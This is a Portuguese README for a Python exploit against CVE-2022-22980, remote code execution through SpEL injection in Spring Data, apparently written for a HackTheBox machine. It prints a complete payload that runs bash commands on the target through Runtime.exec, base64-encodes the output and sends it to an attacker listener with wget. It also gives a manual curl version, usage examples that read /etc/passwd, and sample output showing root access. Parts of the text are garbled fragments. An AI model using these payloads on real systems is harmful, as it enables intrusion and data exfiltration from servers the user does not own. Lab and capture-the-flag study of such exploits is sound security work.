
Exploração do CVE-2022-22980
Exploit para execução remota de código (RCE) no Spring Data via injeção SpEL (Spring Expression Language).
A caixa expõe um endpoint /search que aceita um parâmetro tracking_id vulnerável à injeção SpEL. Essa injeção permite a execução de expressões Java maliciosas diretamente no servidor.
Runtime.getRuntime().exec()http.server, , , )subprocessthreadingbase64LPORT no script)Modifique os parâmetros no script de acordo com seu ambiente:
TARGET = "http://<IP_ALVO>:8080/search" # URL do alvo
LHOST = "<SEU_IP>" # IP local (tun0 para HTB)
LPORT = 80 # Porta de escuta
# Comando simples
python3 spel_shell.py "whoami"
# Comando com pipe
python3 spel_shell.py "cat /etc/passwd"
# Enumeração do sistema
python3 spel_shell.py "uname -a"
# Verificar acesso à rede
python3 spel_shell.py "curl -s http://httpbin.org/get"
[*] Starting listener...
[*] Server listening on port 80
[*] Sending payload...
Payload: tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://10.10.14.5:80/{}"})
[*] Received data: cm9vdA==
[+] Command output:
root
Se quiser testar a payload sem o script:
# Terminal 1: Iniciar o listener
python3 -m http.server 80
# Terminal 2: Enviar a payload
curl -X POST \
-d 'tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://<SEU_IP>:80/{}"})' \
http://<IP_ALVO>:8080/search
A porta 80 está ocupada. Soluções:
# Verificar qual processo está usando a porta
sudo netstat -tlnp | grep :80
# Parar o Apache se estiver ativo
sudo systemctl stop apache2
# Ou usar outra porta
# Modifique LPORT no script e teste
python3 spel_shell.py "echo test"sudo no Linuxifconfig (tun0 para HTB) e não 127.0.0.1Se você vir "Raw data received" em vez de "Command output", o comando pode não ter produzido uma saída válida. Teste um comando que sempre produza saída.
1. start_server() - Inicia um servidor HTTP na porta 80
↓
2. Envia a payload SpEL via curl para o alvo
↓
3. O alvo executa o comando e codifica o resultado em base64
↓
4. wget envia o resultado para o listener (GET http://LHOST:LPORT/<data>)
↓
5. O Handler recebe a data e a armazena
↓
6. O script decodifica e exibe o resultado
Este script é fornecido para fins educacionais em caixas HackTheBox. Use-o apenas em ambientes que você tenha permissão para testar.
Autor: Eliasdekiniweek
Data: Fevereiro 2026
Linguagem: Python 3